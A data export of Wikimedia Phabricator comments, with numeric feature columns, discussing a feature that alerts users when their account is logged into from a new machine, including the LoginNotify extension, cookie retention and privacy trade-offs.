",,,1498780772,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,104,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.3428571428571425,0.8285714285714286,"Change 362323 had a related patch set uploaded (by Niharika29; owner: Niharika29):
[operations/mediawiki-config@master] Config changes for LoginNotify

[[GERRIT_URL]]
"
874675,Login alert when user logs in from new machine,"@Tgr: Good points. We discussed moving forward with notifications for successful logins today, and I think it's a reasonable idea. (We were mainly trying to limit the scope to make sure the extension actually gets deployed.) I think we just need to flesh out the specifics for that feature a bit more, but it's doable.",,,1497292986,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,101,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,11.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,8.0,2.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,4.106060606060606,0.7727272727272727,"SCREEN_NAME: Good points. We discussed moving forward with notifications for successful logins today, and I think it's a reasonable idea. (We were mainly trying to limit the scope to make sure the extension actually gets deployed.) I think we just need to flesh out the specifics for that feature a bit more, but it's doable."
865695,Login alert when user logs in from new machine,">>! In T107707#3267312, @Tgr wrote:
> The announcement says
>> This extension does not give you notifications when somebody successfully logs into your account from an unknown device or IP. It is technically possible to generate those, but if somebody else has logged in, they could just as easily see those notifications and do a password reset (which the notification encourages you to do). The ideal way to handle this is to issue email notifications for this case, but since most Wikipedia accounts do not have emails associated with them, this wouldn't be useful to majority of the users. So for the time being, we have settled for not issuing these notifications.
> 
> That reasoning does not make sense to me. High-value accounts (functionaries etc) almost certainly have an email address enabled, most power users do have an email address set, so most of the people who would actually get targeted do get a benefit from such warnings (unlike failed login notifications which have very limited practical value).
> 
> Also, an attacker does not gain anything from doing a password reset. They could change the email address but then the real owner at least gets warned.

Apologies, I somehow missed this. I'll let @DannyH and @kaldari speak to this though. ",,,1495793197,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,99,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,3.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,0.5333333333333333,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Apologies, I somehow missed this. I'll letSCREEN_NAME andSCREEN_NAME speak to this though. "
860424,Login alert when user logs in from new machine,"The announcement says
> This extension does not give you notifications when somebody successfully logs into your account from an unknown device or IP. It is technically possible to generate those, but if somebody else has logged in, they could just as easily see those notifications and do a password reset (which the notification encourages you to do). The ideal way to handle this is to issue email notifications for this case, but since most Wikipedia accounts do not have emails associated with them, this wouldn't be useful to majority of the users. So for the time being, we have settled for not issuing these notifications.

That reasoning does not make sense to me. High-value accounts (functionaries etc) almost certainly have an email address enabled, most power users do have an email address set, so most of the people who would actually get targeted do get a benefit from such warnings (unlike failed login notifications which have very limited practical value).

Also, an attacker does not gain anything from doing a password reset. They could change the email address but then the real owner at least gets warned.",,,1494937304,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0.0,1.0,1.0,0.0,1.5,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,6.5,5.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,6.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,7.0,0.0,4.0,0.0,1.0,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.5,5.0,0.5,0.0,0.0,0.0,1.5,0.0,1.5,4.0,0.5,1.0,0.0,2.0,0.5,4.3431372549019605,0.892156862745098,"The announcement says
QUOTE

That reasoning does not make sense to me. High-value accounts (functionaries etc) almost certainly have an email address enabled, most power users do have an email address set, so most of the people who would actually get targeted do get a benefit from such warnings (unlike failed login notifications which have very limited practical value).

Also, an attacker does not gain anything from doing a password reset. They could change the email address but then the real owner at least gets warned."
860336,Login alert when user logs in from new machine,"The task description says -
> if it's not there, and the user requested alerts, send an email with the IP and other details of the login.

To clarify, we aren't currently doing this in the LoginNotify extension. We can, but since most people don't have an associated email ID, we are wary of enabling them for now. We [[https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_154#LoginNotify_coming_soon_to_a_wiki_near_you.21 | asked about this as part of the extension announcement]] but nobody brought it up. ",,,1494930051,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,13.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,1.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,13.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,1.0,3.0,0.0,1.0,3.0,3.7205882352941178,0.7794117647058824,"The task description says -
QUOTE

To clarify, we aren't currently doing this in the LoginNotify extension. We can, but since most people don't have an associated email ID, we are wary of enabling them for now. We [[URL | asked about this as part of the extension announcement]] but nobody brought it up. "
860278,Login alert when user logs in from new machine,unassigning from self. Community-tech has taken over working on this extension.,,,1494924063,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,97,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.6,0.9333333333333333,unassigning from self. Community-tech has taken over working on this extension.
765416,Login alert when user logs in from new machine,"@Bawolff has create an extension, LoginNotify, which handles this. I'm [[https://phabricator.wikimedia.org/T140167|reviewing]] the extension this week.",,,1479853534,,PHID-USER-kf224u62afnn727j4brt,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,4.090909090909091,0.7727272727272727,"SCREEN_NAME has create an extension, LoginNotify, which handles this. I'm [[URL the extension this week."
765414,Login alert when user logs in from new machine,"I worked on this as part of LoginNotify extension.

See T140167 for more details.",,,1479853443,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,72,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,24.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0588235294117645,0.9411764705882353,"I worked on this as part of LoginNotify extension.

See T140167 for more details."
632962,Login alert when user logs in from new machine,">>! In T107707#2138134, @Risker wrote:
> Speaking as someone who has recently run into about a dozen different sites sending me these warnings when I logged in (a) on a new tablet and (b) on an old machine using a different ISP... these were such a royal pain in the neck (in several cases I was required to ""verify"" my account if I wanted to use it) it resulted in my simply not bothering to log into some of those sites again.  
> 

False positives seem a lot worse than false negative for this type of system. Im really starting to think the best solution would be to do both cookie and pseudo-subnet based checks 
",,,1458535349,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,12.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,3.953488372093023,0.8837209302325582,"QUOTE
QUOTE
QUOTE

False positives seem a lot worse than false negative for this type of system. Im really starting to think the best solution would be to do both cookie and pseudo-subnet based checks 
"
632953,Login alert when user logs in from new machine,"Speaking as someone who has recently run into about a dozen different sites sending me these warnings when I logged in (a) on a new tablet and (b) on an old machine using a different ISP... these were such a royal pain in the neck (in several cases I was required to ""verify"" my account if I wanted to use it) it resulted in my simply not bothering to log into some of those sites again.  

Cookie-based security features are rather disturbing - I'd much rather the system encourage users to regularly wipe cookies than making features that enable poor security practices.  ",,,1458531044,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,False,,,37,True,2.0,0.5,0.0,0.5,1.0,4.5,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,5.0,0.0,7.5,11.0,0.5,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,1.0,0.0,11.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.0,0.0,4.0,2.0,4.5,1.5,0.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.5,11.0,1.0,0.0,1.5,0.0,6.5,0.0,2.0,2.5,0.5,3.0,0.0,0.0,1.0,4.0,0.8050847457627119,"Speaking as someone who has recently run into about a dozen different sites sending me these warnings when I logged in (a) on a new tablet and (b) on an old machine using a different ISP... these were such a royal pain in the neck (in several cases I was required to ""verify"" my account if I wanted to use it) it resulted in my simply not bothering to log into some of those sites again.  

Cookie-based security features are rather disturbing - I'd much rather the system encourage users to regularly wipe cookies than making features that enable poor security practices.  "
632943,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not

The [[ https://wikimediafoundation.org/wiki/Privacy_policy/FAQ#cookieFAQ | cookie FAQ ]] and [[ https://wikimediafoundation.org/wiki/Cookie_statement | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ https://wikimediafoundation.org/wiki/Privacy_policy | policy ]] doesn't seem to say anything specific about this.

> (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).

Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.

> At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)

The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.

Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, and ability to deauthorize specific devices, but it would also mean slightly more loss of privacy.",,,1458522598,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1.0,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,5.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,5.333333333333333,9.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,1.3333333333333333,0.3333333333333333,5.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,1.3333333333333333,0.0,0.0,0.0,16.333333333333332,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.666666666666667,1.6666666666666667,3.6666666666666665,7.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,1.6666666666666667,9.333333333333334,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,1.3333333333333333,1.0,0.3333333333333333,1.0,4.021500636693114,0.7291605446174945,"QUOTE
QUOTE

The [[ URL | cookie FAQ ]] and [[ URL | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ URL | policy ]] doesn't seem to say anything specific about this.

QUOTE

Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.

QUOTE

The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.

Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, and ability to deauthorize specific devices, but it would also mean slightly more loss of privacy."
632942,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not

The [[ https://wikimediafoundation.org/wiki/Privacy_policy/FAQ#cookieFAQ | cookie FAQ ]] and [[ https://wikimediafoundation.org/wiki/Cookie_statement | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ https://wikimediafoundation.org/wiki/Privacy_policy | policy ]] doesn't seem to say anything specific about this.

> (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).

Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.

> At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)

The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.

Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, but it would also mean slightly more loss of privacy.",,,1458522382,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1.0,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,5.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.6666666666666666,5.333333333333333,9.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,5.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,1.3333333333333333,0.0,0.0,0.0,16.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,4.0,3.0,6.666666666666667,1.6666666666666667,3.3333333333333335,7.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,1.0,0.0,1.6666666666666667,9.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,1.6666666666666667,0.0,0.6666666666666666,1.6666666666666667,0.3333333333333333,1.3333333333333333,1.0,0.3333333333333333,1.0,3.975,0.7333333333333334,"QUOTE
QUOTE

The [[ URL | cookie FAQ ]] and [[ URL | cookie statement ]] would probably have to be updated (although they are inaccurate and incomplete anyway), but the actual [[ URL | policy ]] doesn't seem to say anything specific about this.

QUOTE

Authentication-related cookies are all stored for 30 days (except for the session cookies), but the policy allows for 180 days, presumably in anticipation of T68699. FWIW a bunch of fundraising-related cookies are stored for one year.

QUOTE

The cookie would only be set if users click ""remember me"", which users at public terminals presumably don't. But it would indeed have to be handled somehow - maybe just delete all cookies, or the older ones, if there are more than N. That might be annoying for people using lots of socks, but that's a fringe use case.

Alternatively, machines could have a single unique identifying cookie and user-machine pairs could be stored in the database. That has some benefits like enabling a ""what machines have I recently logged in from?"" security panel that most modern identity providers have, but it would also mean slightly more loss of privacy."
632928,Login alert when user logs in from new machine,">>! In T107707#2138020, @ashley wrote:
>>>! In T107707#2138015, @Bawolff wrote:
>> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
> Since this bug is in the #MediaWiki-User-login-and-signup project, which is for core things (as opposed to extensions), I'm guessing this proposed feature would then go in core, right? (Which makes sense and is generally speaking awesome, btw.) Just make sure there's a toggle for it or something; even if the WMF's privacy policy would force some additional restrictions on this, the same is not necessarily true for third-party sites using MediaWiki, and I'm sure many third-party sites would like this feature.

I was actually intending to work on something somewhat along these lines, but as an extension (Mostly due to wanting echo integration). Regardless of the extension/non-extension state, I would want any solution to be useful to everyone - but WMF is one of the primary targets, so I would want to ensure the chosen solution works well in that context. That said, the more I look at our current cookies, the less that this seems to be an issue at all.",,,1458516830,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1.5,1.5,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,4.0,0.0,7.0,13.0,1.5,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,4.0,1.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,5.5,2.0,2.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,2.0,1.5,10.0,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,1.5,0.0,1.0,2.0,0.0,0.0,3.8223981900452486,0.7863876319758673,"QUOTE
QUOTE
QUOTE
QUOTE

I was actually intending to work on something somewhat along these lines, but as an extension (Mostly due to wanting echo integration). Regardless of the extension/non-extension state, I would want any solution to be useful to everyone - but WMF is one of the primary targets, so I would want to ensure the chosen solution works well in that context. That said, the more I look at our current cookies, the less that this seems to be an issue at all."
632921,Login alert when user logs in from new machine,">>! In T107707#2138015, @Bawolff wrote:
> Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).
Since this bug is in the #MediaWiki-User-login-and-signup project, which is for core things (as opposed to extensions), I'm guessing this proposed feature would then go in core, right? (Which makes sense and is generally speaking awesome, btw.) Just make sure there's a toggle for it or something; even if the WMF's privacy policy would force some additional restrictions on this, the same is not necessarily true for third-party sites using MediaWiki, and I'm sure many third-party sites would like this feature.",,,1458515861,,PHID-USER-mlp7cjyksjzemkdr5ued,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1.5,1.0,0.0,0.0,1.0,9.0,1.0,0.0,0.0,1.0,1.5,1.5,0.0,0.0,1.0,1.5,0.0,5.5,6.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,2.5,7.0,1.5,2.5,7.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,2.0,6.5,2.0,0.5,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,3.836206896551724,0.7672413793103449,"QUOTE
QUOTE
Since this bug is in the #MediaWiki-User-login-and-signup project, which is for core things (as opposed to extensions), I'm guessing this proposed feature would then go in core, right? (Which makes sense and is generally speaking awesome, btw.) Just make sure there's a toggle for it or something; even if the WMF's privacy policy would force some additional restrictions on this, the same is not necessarily true for third-party sites using MediaWiki, and I'm sure many third-party sites would like this feature."
632918,Login alert when user logs in from new machine,">put the one.way hashed username in a cookie with very long expiration

Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).

So I guess if we want to support this in the scenario where a single computer is used by multiple users, we would have to include part of the hash in the cookie name, as well as having it as cookie value (Where hash = HMAC using a secret key, as well as current timestamp), so that we could have multiple cookies for different users who might want to login from the same machine. At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)",,,1458515318,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,37,True,1.0,0.0,0.0,1.5,1.5,11.5,1.0,0.0,0.5,2.0,4.0,1.5,0.0,0.0,0.0,4.0,0.0,9.0,15.5,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.5,2.0,0.0,3.0,0.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,17.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,7.0,3.0,4.5,5.0,1.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,1.5,0.0,5.5,15.5,0.0,0.0,0.0,0.0,5.5,0.0,2.5,3.5,0.5,1.5,0.0,0.0,0.5,3.7784994400895857,0.7090145576707727,"QUOTE

Its unclear to me if storing a cookie for a super long time would be ok with the privacy policy or not (Unless long <= 180 days, which is how long the current cookie is allegedly stored for. 180 days is probably long enough though).

So I guess if we want to support this in the scenario where a single computer is used by multiple users, we would have to include part of the hash in the cookie name, as well as having it as cookie value (Where hash = HMAC using a secret key, as well as current timestamp), so that we could have multiple cookies for different users who might want to login from the same machine. At the same time, we'd also want to make sure that we wouldn't accumulate a large number of cookies on a single machine (e.g. A public terminal might accumulate hundreds of kilobytes of users if it was used by many many people, and we didn't delete cookies)"
515674,Login alert when user logs in from new machine,"> I wonder if something like that would make sense for MediaWiki?
Sounds like a good new feature (at least, if the user can turn it off). Especially for critical on-wiki accounts, like administrators, bureaucrats or stewards (e.g.) it would be a nice extension for the security feature set to get informed, when someone log in to the account.",,,1440667226,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mz2rmf2atxgm5cizdjpt,task_subcomment,,True,c3,3,True,,,8,True,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,5.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.8688524590163933,0.7704918032786885,"QUOTE
Sounds like a good new feature (at least, if the user can turn it off). Especially for critical on-wiki accounts, like administrators, bureaucrats or stewards (e.g.) it would be a nice extension for the security feature set to get informed, when someone log in to the account."
